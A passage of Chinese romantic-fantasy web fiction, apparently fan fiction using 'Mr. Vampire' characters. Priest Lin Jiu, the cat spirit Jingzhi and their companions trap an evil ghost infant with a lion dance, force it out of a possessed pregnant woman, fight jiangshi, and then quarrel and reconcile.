但是心里却又心疼他师兄,于是脚步一顿,一个转身,又回到刚刚的位置上,还故意往中间走了走,把静之往他的方向推一推。 她这一走,静之怕踩到她,往林九的方向去了一步,却一肩膀撞到林九。 他下意识地伸手扶住她的胳膊,口中情不自禁喃喃道:“静之,小心。” 之前在情急之下才肯唤的名字,现在倒是脱口而出了。 静之不觉惊喜,只是觉得心累。 她叹了口气,轻轻拂去林九的手,十分严肃地说道: “九叔,之前是我不理智,咬了你,还打了你。” 她深吸一口气,找回了所有理智后,才缓缓地说: “我之前说的,都是心里话,在你没彻底想明白之前,先别碰我,好吗?“ 林九有些无措地看着她,此时此刻的他,嘴笨到不行,哪里有诓大帅时的机警。 思索了几番,发现现在确实也不是说这些的时候,于是乖乖点头。 就在这时,林九肚子发出一阵咕噜咕噜的叫声。 他立马捂住,直着脖子,有些尴尬瞟了二人一眼。 静之缓缓皱起眉头:“肚子还没好?” 不应该啊,她把身上的灵力都给他了,就一坨芥末,不至于吧? 蔗姑看着他的红耳朵,打趣说道: “某人怕是担心得一天吃不下饭,饿到肚子叫了吧?” 林九支吾半天,说不出一个字,只能暗暗剜了蔗姑一眼,却又被蔗姑大咧咧的瞪回去。 蔗姑:笑死!我又不喜欢你了,我可是一点亏都不能吃! 静之看了看半挂在侧边的斜阳,估算了一下时间,才轻声说道: “还有时间,先去吃个饭吧,恶婴估计天黑了才肯出来。” 蔗姑歪了歪嘴角,小声哔哔: “又不是僵尸,关心他就说关心他,找的什么烂理由?” 静之耳朵灵,她余光瞄到面色缓和的林九一眼,忍不住脸上一红。 关心他,好像已经成为了她一种本能…… …… 三人来到一间面馆,刚坐定,蔗姑就朝正在抹桌子的老板喊一声: “老板,三碗猪杂面。” 静之嘴快过脑子,“两碗猪杂面,一碗清汤面,他暂时还不能吃太油——” 话未说完,她忍不住捂住额头,挡住自己尽显慌乱的双眼,连连叹气,实在是没眼看另外两个人的表情。 此时,硬要挤在她侧边坐着的林九,眼里尽是藏不住的柔情。 而对面的蔗姑则是不住在桌子下面踹着她的脚,她手撑着桌面,俯下身子,满脸揶揄地说: “你完了,下意识的举动最是能够透露出一个人的内心,你彻底陷进去了!” 此刻的蔗姑万万没想到,她踹到的,根本不是静之的脚,而是林九的。 林九低头看了一眼身上的衣服,下摆处已经被她踹出了好几个脚丫子印。 林九脸色越来越黑,这衣服,是静之送给他的那件淡黄色长袍。 他平时可不舍得穿呢,就这样被这家伙踹了。 他忍不住伸长了脚,去蹬蔗姑的椅子。 蔗姑在他脚伸过来的刹那就发现了。 她眼一沉,立马一脚回击过去。 静之只觉得桌子底下传来阵阵闷响,桌面也渐渐开始摇晃起来。 她回头看了一眼店老板端着个托盘,在厨房门口踌躇的样子,赶紧出言制止。 “好了,你们两个都几十岁的人了,别这么幼稚了。” 蔗姑撇嘴,指了指林九:“他四十二,老娘三十,正是青春美貌的时候!” 打斗声停,店老板趁机迎了上来,将面条一一呈上来,这才对静之咧了个感激的笑容: “客官,您慢用!” 静之点点头,把蔗姑面前那碗清汤面,跟林九跟前那碗猪杂面换了下,这才垂下眸子淡淡说了句: “吃吧,吃完该干活了。” “……嗯。” 林九从筷筒里抽出两双筷子,先把其中一双递给静之,这才怼平筷头,夹起一筷子清淡的面条,慢慢地吃了起来。 怪了。 这面条,虽清淡,却莫名有些发甜。 他看,他的舌头是被那坨芥末辣坏了吧…… …… 蔗姑面朝店外,且刚刚在来来旅馆吃了一整只鸡,这会儿吃了几口面条,就吃不下了。 当看到外头表演结束的舞狮团队走过时,她灵机一动,当即冲了出去。 静之:“……她干什么?” 林九放下筷子,转头轻声与她解释: “她应是去借行头了吧。狮子驱邪辟鬼,这群舞狮团队,刚刚去附近的关帝庙里表演过了,身上还带着关老爷的香火气息,想来那恶婴是会怕的。” 静之一手撑着脸,若有所思地看着蔗姑与那群舞狮小伙交谈的样子,看了几眼后,忍不住轻轻笑了一下。 这姑娘,脸蛋圆圆的,说起话来,叉着腰,一副理直气壮的样子,当真是…可爱。 话说,蔗姑刚刚救她的时候,也帅的很呢~ 林九看了看外头呈老母鸡状的师妹,又看了看一脸姨母笑的静之。 心中顿时警铃大作。 于是伸出一只手挡住她的视线。 静之:“……干什么?吃你的面。” 她拨下他的手,嘴角的弧度在看到蔗姑时,又渐渐变大。 “……我吃完了。” 林九吃醋,林九不爽了。 静之突然凝眉,侧头看着那反握住她手不放,不讲信用的男人。 “还在考察期呢,放开我!” 林九还是第一次听到考察期这个字眼,不过仅凭字面上的意思,他也能懂个大概。 仿佛情根突然被打通,他十分郑重地对她解释: “我以前喜欢过小莲,现在不喜欢了,现在我对她仅有师兄妹之间的情谊。” 静之定定看了一脸诚恳的他几秒,才缓缓拂去他的手说: “有些事,不能光靠嘴说。” 林九把僵在半空的手默默收了回来,有些泄气。 又忍不住侧头与她说: “能不能别叫我九叔?” 他提到这个,静之倒是笑了,亮亮的眸里一时潋滟,看傻了林九一只。 她说:“当初不是你自己提出来,不让我叫阿九的吗?” 静之无辜脸,两手一拍,“你真是反复无常,不叫九叔也行,我叫你林道长。” 林九一梗,突然觉得有些消化不良。 …… 就在这时,蔗姑揣着个狮子头跟两身衣服走了进来,“好啦好啦,开始行动,这回天可黑了,你家道长也吃饱了。” 静之被她说得小脸一红,忍不住站起身来,走过去轻轻拍了一下她的手。 她小声嘀咕:“才不是我家的。” “好好好,不是你家的,走啦?” 静之乖乖应下,“好。” 她看了看蔗姑笑得肆意的脸,心里头突然涌起一股冲动。 “蔗姑,我能跟你做朋友吗?” 蔗姑一脸惊讶的样子:“我以为我们已经是了。” 静之愣了几秒,突然接过她胳肢窝下夹着的狮子头明媚一笑,大声说道: “已经是了!” …… 不知是大帅病好了,还是天色已晚,大帅府前门的卫兵依旧不少,后门的却少了很多。 林九三人,绕过前门来到后院,把一车灵婴的塑像和狮子的装束都放在草坪上。 林九压低声音说:“蔗姑,你待在这里看着东西,我和静之熟悉地形,我们先偷偷潜进去,叫秋生和文才帮忙。” 二人点点头,蔗姑半蹲下身子对着那车灵婴交代着什么,静之看了一眼,就跟在林九后面。 他们从后面的窗台一路翻上去,来到二楼走廊处。 静之伏低身子,把嘴凑到猫着腰的林九耳边,轻声说道: “兵分两路,你去找文才和秋生,我去看看米其莲的情况。” 话刚说完,不知是有心,还是无意,他一个转头,静之的唇瓣瞬间划过他的耳垂。 有些冰凉…软软的。 静之顿时向后退了一步,拳头攥得死紧,“你!” 林九转回头,一脸无辜地看着她:“怎么了?你说的我同意,我走这边。” 话刚说完,他就猫着腰快速从右侧溜走。 期间里头的灯光照到他的脑袋,静之眼尖地看到他通红的耳垂,一时气得牙痒痒。 老奸巨猾,臭不要脸! 就在这时,他的“莲妹”又叫了。 “啊~好痛!” 静之心头一紧,莫不是恶婴现在就要出世了? 她赶紧伏低身子,悄悄朝左边的走廊挪了过去。 静之不明白上回她和林九明明已经够小心了,为什么还会被那个女人发现。 这回她万分注意,直接屏住呼吸,脚步几乎落地无声,悄悄从窗户外头朝里望去。 怎料屋里现在一片活色生香。 那个女人衣着清凉,而米其莲死死搂着她的腰,貌似在她胸前吸着什么? 啧。 她该不会发现什么秘辛了吧?! 难道米其莲男女通吃? 就在她胡思乱想的当口,那个女人好似有些疼痛,她微微一个侧身,露出了胸前的一道正流着血的伤口。 而那米其莲如同吸血鬼一般,正狼吞虎咽地吸着她胸口的血液,她的脸色微微狰狞,跟白天见过的温柔模样,真是大相径庭。 静之惊愕不定。 僵尸吸了血,就会实力大增,那恶婴呢? 不行!得赶紧去找林九! …… 另外一头。 林九找了好几个房间,一路摸到了念英的房间外,这才发现他们三个人。 透过大开的房门,只见他们三个仿佛变成了睁眼瞎,眼睛瞪得老大,手却像盲人摸象一样不停地摸索着啥。 静之这时候也到了,她瞅了一眼,心里直犯嘀咕,忍不住开口问: “喂,他们在干什么呢?” 林九只瞧了那门一眼,就晓得这门被人施了障眼法。 还没来得及跟静之解释呢,就瞧见秋生跟玩捉迷藏似的,嘴里一个劲地嚷嚷: “念英,念英,你在哪儿?” 林九忍不住翻了个大白眼,清了清嗓子,故意嗲声嗲气地说: “我在这儿呢~” 那声音悠扬婉转。 静之猛地一回头,那一瞬间,她甚至怀疑林九是不是被二娣上身了。 林九感受到来自侧脸的炽热目光,这才回过神来,静之还在这儿呢。 他的脸“唰”地一下就红了,还没等他开口,就被秋生紧紧地搂住了腰。 林九顿时气得火冒三丈,抬手狠狠地给了秋生后脑勺一巴掌,直接把他给打醒了。 “臭小子,被人施了法都不知道!” 他有些恼羞成怒,快步上前,迅速解开文才和念英身上的障眼法。 情况紧急,容不得多想。 五人赶忙围成一圈,压低声音紧张地商议起来。 不到一会儿,商量完毕,林九冲着静之微微颔首,随后两人一同沿着来时的路匆匆返回楼下。 “我跟你说,刚刚我看到米其莲在吸那个女人的血诶!” 双脚刚一着地,静之忍不住对林九全盘托出。 听到这话,林九的脸色骤然变得凝重,“坏了,这下不好办了。” “它会变厉害是吗?” 林九点点头,快速朝蔗姑和那群跑出来玩耍的灵婴走了过去,“赶紧行动,不然恶婴就要出世了!” 第115章 “师父救命!” 林九接过蔗姑丢过来的舞狮裤,快速套上,边对静之说: “你敲鼓,等会我和蔗姑会用狮衣将它裹住,希望有用!” 静之点点头,立刻走到蔗姑的三轮车后头,把她从舞狮队借的鼓拿出来。 却发现只有一只鼓槌,刚往右一看,便有些无奈地摇摇头。 “小豆丁,这个不能玩,给我!” 只见那小豆丁圆圆的小手握着那根鼓槌挥舞着,小屁股还一顿一顿的,给自己打着节奏,仿佛已经在脑海里奏响了音乐似的。 她蹲下来,摸了摸他的小脑袋,有些急切地说:“给我!有空我带鸡蛋羹给你吃嘛。” 话音刚落,小豆丁立马把鼓槌一松,小嘴微张着,嘴角顿时有些晶莹的口水滴下。 静之忍俊不禁,又戳了戳他的脸颊,这才回到鼓面前,与林九和蔗姑对了个眼色。 随着一个手势落下,鼓声顿起,林九和蔗姑两人身手敏捷,把一只狮子演绎得活灵活现。 静之有些傻眼,没想到这两个修道之人,居然还会这种技能。 茅山教得可真杂。 周边那几个原本听从蔗姑吩咐而佯装玩耍的灵婴们,此刻见到那只活泼可爱的狮子后,眼睛纷纷亮了起来。 他们再也按捺不住内心的兴奋,嘻嘻哈哈地叫嚷着跟在了狮子的屁股后面奔跑起来。 那欢快的笑声此起彼伏,比起之前刻意伪装出的声音要真实许多,仿佛真的沉浸在了这场追逐嬉戏之中。 其中一个特别顽皮的小男孩更是笑得咯咯咯响个不停,一边跑着,一边伸出小手试图去拉扯狮子那威风凛凛的鬃毛。 整个后院一下子变得喧闹非凡,充满了孩子们银铃般的笑声。 然而,就在这看似热闹欢乐的场景背后,身处其中的三个人却丝毫不敢分心。 相反,随着时间一点点流逝,他们愈发地专注且神情凝重。 因为他们心里非常清楚,那个躲藏许久的恶婴终究还是难以抵挡如此强烈的诱惑,迟早都会现身露面的。 果然不出所料,仅仅过去了短短几分钟之后,一直全神贯注观察四周动静的静之便敏锐地捕捉到了一抹诡异至极的蓝色光芒。 只见那道蓝光如同闪电一般,以惊人的速度从二楼疾驰而出,并笔直地朝着他们所在的方向飞射而来。 眨眼之间,蓝光已然落地,瞬间化作了一个看上去大约七八岁模样的小孩子。 只不过这个孩子脸上的神情,全然没有普通孩童应有的那份天真无邪。 他面色苍白如纸,光秃秃的脑门上布满了一道道黑色的鬼纹,宛如一条条张牙舞爪的毒蛇盘踞其上。 更让人感到胆寒的是,这小鬼甚至还未做出任何举动,光是那副怒气冲冲、凶神恶煞的表情,就让人不寒而栗。 果然不愧是恶婴。 此时,他大张着漆黑的嘴,挥舞着惨白的两手,恐吓着那几个玩得开心的灵婴们。 灵婴们根据计划,假装被吓得慌张逃窜,一个个皆跑到静之身后藏着,把后院正中央,正舞动着的狮子露在他面前。 可能是见没人与他玩,反而惹得这个超雄一样的恶婴更加愤怒,他冷哼了一声,飞身坐到狮子身上,不断用手捶着狮头泄愤。 静之暗道不好,前头可是林九,这样捶真的没事? 这可不在计划之内啊! 就在她心焦到不行,甚至想上去帮忙的时候,林九与蔗姑丝毫不惯着眼前这个作恶多端的熊孩子,默契十足地同时出手,猛地掀起狮衣,以迅雷不及掩耳之势将恶婴紧紧包裹其中。 此时的静之松了口气,以为此番定能成功制服这难缠的恶婴。 然而,令她万万没有想到的是,那狮衣上所散发出来的香火气仅仅只吓到了恶婴短短一小会儿。 区区几秒后,那恶婴突然间爆发出一声惊天动地的怒吼,转眼之间,他便挣脱了狮衣的束缚。 紧接着,他一个转身,如同闪电一般朝着二楼飞了过去。 静之瞳孔骤缩,来不及多想,一条猫尾从她身后极速射出,犹如离弦之箭般直直地捆向已经飞到半空中的恶婴的腰部。 “快收!” 就在这千钧一刻之际,还没等林九动手,那恶婴突然回头朝静之邪邪一笑。 他眼里的恶意仿佛凝成实质,让她心里不由一个咯噔。 她还没来得及把尾巴收回,就见恶婴手中突然甩出灵蛇般的雷电,噼里啪啦的,瞬间便击中静之的尾巴。 “啊!” 自从上次她帮林风挡了两道雷,她就格外的怕雷电。 万万没想到,这辈子居然还能被电一次。 静之松了被电得有些焦黑的尾巴,并极速收回,奈何雷电顺着她的尾巴,直把她的本体电得个不停哆嗦,就连白发都飘起缕缕青烟。 这一切只发生在两息之间,林九只来得及冲过去扶住将将倒地的静之。 得亏这恶婴的电力远远比不上那天雷,而她也不是普通人,除了身体被暂时麻痹了之外,没什么大碍。 她强撑着麻痹的双腿站起,又赶紧指了指灵婴逃走的方向。 “快走,他这种实力,秋生和文才肯定挡不住的!” 也不知是不是见到鬼了,大帅府的卫兵跑了个精光。 他们三人如入无人之地,不到一会儿, 便奔到二楼米其莲的房间外。 这会儿,秋生,文才还有念英正战战兢兢地站在门口。 林九快步上前,“恶婴呢?” 秋生指了指门,“在里面,他会放电,文才都快被电熟了,我们挡不住!” 静之看了被念英扶住的文才一眼,忍不住拍了一下额头。 “怎么每次都是你,你也太衰了吧。” 文才无话可说,只能苦笑一下蒜了。 林九也没怪他,这恶婴吸了人血,估计快要进化成魔婴了,他们挡得住才怪。 不过他这个二徒弟确实衰得可以。 蔗姑一把推开门前打量文才的林九,嗐呀一声,怒骂一句: “你是不是舍不得你的旧情人啊,把门踹开!” 秋生看了林九一眼,见他轻轻点头,他这才敢与蔗姑一同踹向房门。 不过几脚,那门便嘭的一声被二人踹开。 原本应该躺在床上,虚弱至极的米其莲,此时居然直直地站立在了梳妆台上。 只见她满脸阴森,一双眼睛直勾勾地盯着众人,嘴里发出令人毛骨悚然的笑声。那笑声听起来仿若小孩子一般,却极其刺耳。 看到这一幕,经验丰富的林九脸上的神色愈发凝重起来,他紧皱眉头,低声惊呼: “不好,她已经被那恶婴给控制住了!” 话音未落,一旁的蔗姑毫不犹豫地从身后掏出一柄桃木锤,口中大喊一声:“上!” 伴随着这声怒吼,她身形如电,瞬间就冲到了米其莲的面前,与对方展开了激烈的交锋。 然而,让人意想不到的是,米其莲和林九师承一派,身手不错。 再加上此刻她体内还有那恶婴的鬼力,蔗姑在与之交手的过程中,逐渐落于下风。 没过几招,蔗姑便露出了破绽,被米其莲一把狠狠地拧住肚子,紧接着又是凌厉无比的一掌打出,直接被她击飞。 一直关注着战局的静之见状,连忙伸出双手想要接住蔗姑。 尽管成功接到人,但由于那一掌的威力实在太大,静之也被带着往后倒退了好几步才勉强稳住身形。 “你没事吧?”静之关切地问道。 蔗姑只觉得颜面尽失,心中羞恼交加,她紧紧咬着牙关,强忍着身上的伤痛,再次举起手中的桃木锤,怒目圆睁,气势汹汹地朝着米其莲扑了过去。 那恶婴显然没有料到蔗姑在遭受如此重击之后,竟然还胆敢再度上前挑战自己。 就在两人激烈缠斗之时,蔗姑凭借着多年的战斗经验,终于找到了一个稍纵即逝的破绽。 眼看着她手中的桃木锤就要结结实实地砸中米其莲的肚子,就在这千钧一发之际,林九突然出手,他死死地握住了蔗姑的手腕,用力往后一拖,将蔗姑整个人拉出了房间外。 米其莲狞笑了一声,趁机一挥手,控制两扇门嘭的一声紧紧关住。 “你干什么?!” 蔗姑气的直跳脚,刚刚明明有机可乘的。 林九:“你这一锤子下去,小莲会没命的。” 话音刚落,众人纷纷转头看向站在最后头,神色不明的静之。 静之扫视了众人一眼,“看我干什么…他又没说错。” 众人:没说错的话,你脸色这么差干什么? 静之挑眉,她是不喜欢米其莲没错,但她罪不至死。 但她心里确实不爽极了。 她强忍着个人情绪,赶紧转头问林九: “还有没有什么办法把恶婴逼出来?” 这个问题让林九直接陷入沉默。 她只能把视线转到众人身上,“有没有想到什么办法?” 众人纷纷仰头思考。 就在这时,蔗姑啊了一声。 静之:“你想到了?” 蔗姑:“没有。” 静之:“……” 就在她无语的时候,林九也啊了一声。 她突然不抱期待,却没想到林九朝她笑了笑,一脸笃定地说: “立刻去找些苦茶,当归头,巴豆,煮醋给她喝。” 静之一脸不解:“你想打胎啊?” 孕妇吃当归? 这还得了。 还有苦茶和巴豆,一个性凉,一个吃了就串稀,这真喝下去,米其莲还能有好? 林九摇了摇头解释道: “大肚婆最爱喝醋, 魔胎就快要出生了,我们弄点最阴最寒的药给她。大肚婆喝了之后,魔胎就会虚弱,我们就趁这个机会,除此大患。” 秋生:“大晚上的,去哪里找这些啊?药店估计都关门了!” 念英:“厨房有!我跟文才去拿!” 林九点点头,“要快!” 就在二人刚走没多久,门外突然传来念英跟文才惊慌失措的叫声。 “啊!!僵尸啊!” “师父救命!” 就在他们转身想要出去看看情况的时候,众人身后突然传来一声厉喝。 原本站在房门口的林九只觉得脑后猛地涌起一股寒意,然而,他甚至都来不及回过头去瞧个究竟,便被身旁的静之用力一把扯到了旁边。 这一击不中并未让那个诡异的女人善罢甘休,反倒是令她身上的气势陡然暴涨起来,仿佛一头被激怒的野兽一般,她身上的衣裙和那头长长的黑发瞬间扬起。 秋生:“哇靠!这么丑!” 原来,随着女人的动作,她那张一直被遮掩住的半边脸此时毫无保留地暴露在了众人面前。 那脸跟烂了一样,皱皱巴巴的,还留着脓水,让人不忍直视。 林九和静之有些无语地看了秋生一眼。 这女人跟当时的小玉相比,简直是小巫见大巫。 幸亏秋生没见过小玉的真面目,不然他还能站在这儿,说出这种话? 就在这时,一股令人作呕的浓重尸气,犹如决堤的洪水一般,从楼梯口汹涌地溢了上来。 林九心头一紧,还未及迈步前往查看究竟,便瞧见数不清的僵尸如潮水般源源不断地从楼梯口蹦跳着上来。 林九临危不乱,迅速扫视四周,当机立断做出周密的安排: “秋生、蔗姑,你们去支援文才!”接着,他转头对静之大喝一声: “静之,绝不能让那个女人踏入这个房间半步!” “哦!” 静之毫不犹豫地应道,随即身形一晃,如离弦之箭一般冲向门口。 她娇躯紧绷,全神贯注地挡在门前,一双眸子紧紧盯着那试图靠近的女人。 只要那女人妄图往前一步,静之便会毫不留情地伸出身后那条猫尾,将其狠狠地击飞出去。 然而,出乎意料的是,这个女人竟有着不俗的身手。 她身形敏捷,竟然硬生生地接住了静之数次凌厉的攻击。 正在双方僵持不下之时,林九眼疾手快地抛出了一条朱砂红绳。 那红绳在空中飞舞,径直朝着那女人呼啸而去。 只听林九大喝一声:“困住她!” 静之心领神会,玉足轻点地面,整个人如飞燕掠空一般跃起。 几乎是在同一瞬间,她与林九默契十足地完成了一次换位。 静之接过红绳一头,手腕一抖,手中的红绳便如有生命一般,灵活地缠绕向那女人的脖颈。 按理来说,这女人分明就是一个活生生的人,即便红绳缠上了她,也不该有任何异样的反应。 可谁知,就在那红绳与她娇嫩的肌肤相触的一刹那,诡异的事情发生了—— 她的皮肤竟像是被烈火灼烧了一般,发出“呲呲”的声响,冒出缕缕青烟。 与此同时,那红绳也散发出一闪一闪的红光。 那女人心知逃不了,也帮不上恶婴什么忙了,居然不挣扎,而是疯狂大笑出声: “哈哈哈!我的主人就要出世了,我功德圆满了!” 边说着,她死死盯着两人,手中结起法印,口中念念有词。 林九一听她的咒语,心头一紧,赶紧朝对面的静之唤了一声: “躲开!她要自爆!” 得亏提醒及时,两人瞬间躲在桌椅后头,只听得一声巨响,那女人瞬间炸裂,连块完整的肉都没留下。 静之扬掉灰尘缓缓抬起头,她以为会看到满屋血腥。 却没想到,地上的那些残肢断裂面居然是一片灰白,而且闪烁了几下后,便消失得无影无踪。 静之:“她不是人?” 地面一滴血都无。 而且她刚刚看得明明白白,地上除了断肢,没有一丝内脏的碎片。 林九一脸凝重,“以前是,现在应该是被炼成傀儡了。” 他来不及多想是什么人炼的,看到静之身后追上来了好几个僵尸,他疾步上前,将她护在身后,一把抽出身后的桃木剑,一剑就贯穿了两只僵尸。 他没好气地看了对他讪笑的秋生一眼:“哪来这么多僵尸?” 秋生:“腾腾镇喽!” 静之有些咂舌,这么多僵尸,他俩就去了一天,到底做了什么事,才惹得人家跨省都要追杀他们。 眼瞅着楼梯口一直涌上来的僵尸,林九只能扯着静之与众人分散开来。 毕竟这会儿可没有僵尸的亲人们在场,他们的目标,除了他那两个引发众怒的徒弟,接下来就是静之了。 就在他们离开之际,米其莲也悄悄跑了出去,跟众人打起了周旋战。 林九跟静之且退且战,一路杀了不少僵尸。 刚转身进入一个房间,就看到文才将念英护在身后,而他自己被僵尸戳得满身是孔。 林九护徒心切,飞身上前,一剑穿透僵尸后心,静之趁机一把扶住文才。 “……我说你,你师父叫你洗柚叶澡,你洗没洗啊?” 文才:“……还没来得及。” 静之:“今天回去就洗!” 林九莫名眼前一亮,“静之,你也一起回去吧?” 静之身形一僵,将文才扶坐在椅子上,“再说吧。” 就在这时,静之突然觉得有些不对劲儿。 她猛地一转头,“米其莲呢?” 林九来不及失落,赶紧跟念英交代一声照顾文才,便与静之又冲了出去。 所幸这四人身手都好,默契配合之下,将僵尸群杀了个干干净净。 几人一间一间的找,终于在一间客房的床底下找到了躲起来的米其莲。 此时,米其莲已经被灌下了那碗药。 蔗姑和静之一左一右紧紧地按住她的双手,而秋生则负责压制她不断乱蹬的双脚。 林九迅速地掀开米其莲的上衣,她那高高隆起的孕肚顿时暴露无遗。他目不斜视咬破自己的指尖,鲜红的血液瞬间涌出。 林九以极快的速度用染血的指尖在米其莲的肚子上游走,画出一道神秘的符咒。 当最后一笔完成之时,林九突然五指弯曲成爪状,仿佛在虚空中捕捉到了某种看不见的东西一般。 随后,他开始缓慢而又坚定地上提手臂。 随着他这逐渐上升的动作,一旁的静之惊愕得瞪大了双眼。 因为她清楚地看到,那恶婴的脑袋正从米其莲的肚皮里一点点地冒出来。 然而,就在所有人都认为林九即将成功将这个可怕的恶婴从米其莲体内扯出之际,米其莲却做出了最后的垂死挣扎。 她猛地使出全身力气,飞起一脚狠狠地踹向秋生。 猝不及防之下,秋生被这突如其来的一击踢得向后倒去,松开了对米其莲双脚的束缚。 获得自由的米其莲,一个大回旋甩开左右两人,朝着院子外面疾驰而去。 “追!” 双身子的米其莲被灌了药,此时越发虚弱,飞到一处喷泉池外就被林九抓住了。 于是四人又是刚刚同样的姿势,死死摁住米其莲。 林九咬牙切齿:“出不出来?” 恶婴:“不出来!” 林九狠狠心,一把将米其莲的头往喷泉池里摁。 没过几秒,又把她头拉了起来,复又问道:“出不出来!” 恶婴不愧是恶婴,犟得一批。 “就不出!” 林九额头青筋直跳,他死死将米其莲的头又摁回水里。 静之觉得得有个三四十秒了,有些担忧地唤了一声,“阿九……” 林九死死绷着脸,眼里全是不忍,“别说话。” 这三个字仿佛是从他喉间挤出来的。 静之默了。 又过了几秒,米其莲彻底失去了挣扎,静之把住她的那只手也垂了下去。 她心里一个咯噔。 完犊子,不会淹死了吧?! 就在这时,那恶婴气急败坏地从米其莲肚里飞出。 “算你狠!” 林九看着没了动静的米其莲,也没空去管那恶婴了,他面如死灰地说: “……把她抬进去!” …… 第116章 她私底下烟酒都来 就在林九要给米其莲做人工呼吸,而静之面色越来越冷的时候,那一整个晚上不知道哪儿去了的大帅,突然从门外冲了进来。 他一把将林九狠狠地推开,随即迅速地接替了林九的位置,开始给自己的妻子做起了人工呼吸。 吹了几次气,没用。 大帅怒不可遏,双手如同铁钳一般紧紧地掐住了林九的脖颈,声嘶力竭质问着: “你为什么要淹死我老婆?!” 尽管心中对林九今晚的表现感到有些醋意横生,但静之毕竟还是明事理之人。 她伸手用力打落大帅紧掐着林九脖子的双手,然后愤愤不平地冲大帅喊道: “你老婆被魔胎附身,阿九不这样,她还是要死,你呢?一晚上发生这么多事儿,你上哪儿去了?” 大帅突然想起刚刚与那个女人的一场艳事,瞬间熄了火。 静之望着面无血色,满脸自责的林九,她的心里一阵酸痛。 她想,他可能还喜欢她的吧? 那她再坚持下去,还有什么意义…… 她缓缓走到门口,看着站在喷水池上的恶婴。 突然觉得他俩有些同病相怜。 强求,是没用的。 “吵什么啊?” 躺在地上的米其莲突然一声嘤咛。 静之回头看去,林九面露喜色看着地上的米其莲,静之的眼神却迅速黯淡了下来。 “啊!” 米其莲一声痛呼。 蔗姑回头看了精神恍惚的静之,跟一脸喜色的林九,忍不住叹了口气,把他们都赶出去。 “她要生了,都出去。” 林九:“遭了,没有灵魂孩子出生会变白痴啊。” 蔗姑思索了一下,“我有办法!” 她走到后门唤了一声: “谁要投胎啊?” 一群小孩推推搡搡走了过来,有些嫌弃地看着里头肥头大耳的大帅和盯着林九看的米其莲。 出轨的爹,三心二意的妈。 谁爱要谁要! 所有小孩纷纷后退一步,并疯狂摇头。 蔗姑看了看身后已经快把孩子生出来的米其莲,没有办法,只得去抱了不会走路的小豆丁过来。 没想到刚把小豆丁放到米其莲身边,他就跟见了鬼似的,一溜烟爬到静之脚下,哭得震天响,扒着静之的小腿,死活不愿意投生到他们家去。 蔗姑:“师兄,这……我没办法了,总不能强迫他们,会遭报应的。” 林九叹了一声,摇了摇头,“都是命。” 随着孩子一声啼哭。 米其莲诞下一子。 那直直的眼神,仿佛在昭示着他是个傻子的事实。 大帅心里还对米其莲残存着一点情意,他把孩子抱了过来,安慰道: “没事,我们还能生……老婆,这个孩子要叫他什么名字?” 米其莲眼神落到了站在门口的林九身上,低声呢喃道: “就叫他爱英吧!” 大帅脸黑了。 第117章 追妻火葬场 静之吐完擦了擦嘴,抬头一看,斜阳挂在远处的山峦中,被山腰遮挡了一半。 黄橘色的阳光依旧很亮,刺眼得她脑袋更疼了。 她抬起绵软的胳膊,遮着视线,轻声呢喃: “我睡半天了?” 她身后的四目道长翻了个白眼,把她扶进来,坐回她刚刚的床褥上,然后“啪”的一声,把跟对面相隔的窗户关上。 这才回过头没好气地说:“岂止半天,你从昨天中午睡到现在,再不醒,我都以为你要死了。” 他少说了一句。 再不醒,他就要把她送回义庄了,一直在这儿睡,算怎么个事儿。 静之突然冷不丁说一句:“我饿了。” 四目:“……” 吃灵力的猫咪会饿? 他可不信。 虽然如此,作为东道主,他还是走出了房间,扯开嗓子喊:“家乐,这里有个人饿了,煮碗粥过来!家乐?” 见没人回应,四目扯开推拉门一看,家乐正在对面跟菁菁有说有笑的。 他气得嘴都快歪了,“臭小子,一整天就知道泡妞。” 他提高音量又朝对面喊了一声: “家乐,给我滚回来!叫你半天没听到吗?” 隔壁的家乐哦哦两声,直接冲出和尚家的阳台,单手一撑栏杆,就跳到这边的阳台。 家乐:“醒酒汤煮着呢,得等会!” 四目没等他说完,就一把拧住他的耳朵,“我是跟你说醒酒汤吗,我说粥,稀饭啊,还不去煮!” …… 他俩一顿吵吵,静之捂着耳朵,觉得头更痛了,于是又躺了回去。 四目跟徒弟互怼的样子,好像林九跟秋生啊。 也不知道…他怎么样了? 一张被子突然罩住她的脑袋。 被子里传来啪的一声闷响。 静之扇了自己一巴掌。 整天就知道想男人。 她看她是昏了头了。 …… 义庄。 文才:“你去!” 秋生:“你怎么不去!” 文才袒胸露背,秀出一身的绷带:“……我受伤了,再被师父打,会死翘翘的。” 秋生望着静之房里跟个雕塑似的坐了一整天的林九,有些踌躇。 “说得跟我被打不会死翘翘一样。” 秋生逼逼赖赖,磨蹭半天,终于挪到了静之房门口。 他小心翼翼伸出半个头,“师父,你一天没吃东西没喝水了,吃点粥吧,别饿坏肚子。” 林九放下手中的帕子,缓缓捂上自己饿到有些揪痛的胃。 若是以前的她,估计早就冲过来给他治疗了吧。 是他,让她失望了…… 见林九就动了一下,还是半天不吭声。 秋生咬咬牙,硬着头皮,端着一碗粥走了进去。 “师父,我放桌上了,你多少吃点……不然,她知道了,会不放心的。” 林九缓缓垂下眸子,看着桌上的青菜粥,脑子里突然就想起了他们一起去吃的清汤面。 她真的,还会不放心他的身体吗? 见林九一副丢了魂的样子,秋生来回徘徊了两步,打了几遍腹稿,才将一张纸递了过去,边说着: “喏,之前我收拾师叔房间的时候,在桌上看到的,是师叔写的信,应该是给你的。” 他旋着旁边一张椅子,跨坐下来,手扶椅背,皱眉说着自己的猜测: “我们整个任家镇都找了个遍,你说,她会不会去师叔那儿了?毕竟,她在这儿也就认识你们师兄妹几个,蔗姑刚刚跟你分开,应该也不是去她那儿。” 林九边听,边缓缓展开那张信纸。 “易得无价宝,难得有情人。” 这句话一入林九的眼,他的嘴角就泛起一丝苦笑。 他师弟第二次来,就看明白了。 就他一人在那儿推托,次次拒绝她的情意跟告白。 他可真是,不识好歹。 林九收起信纸,连同手帕一起揣在怀里。 这才站了起来,面无表情地朝秋生说了一句:“走吧。” 秋生有些迟疑,心里又隐隐有了猜测:“……去哪?” 林九悠悠望着门外的斜阳,恍惚了一小会儿,才慢慢地说: “去四目那儿,找她回来。” 果然,他猜得没错。 秋生立刻站起来,有些激动地说: “那文才呢?他伤还没好呢!” 林九:“你载他,把药带上。” 秋生刚想去收拾,走没几步,又转过身子指了指桌上的粥,“师父,我没开玩笑,你吃点再走吧,静之姐最关心你的身体了,别辜负她的好意,这菜还是她买的呢。” 林九叹口气,压了压想冲出义庄找她的冲动,坐了下来,把那碗粥一点一点吃掉,特别是青菜。 …… 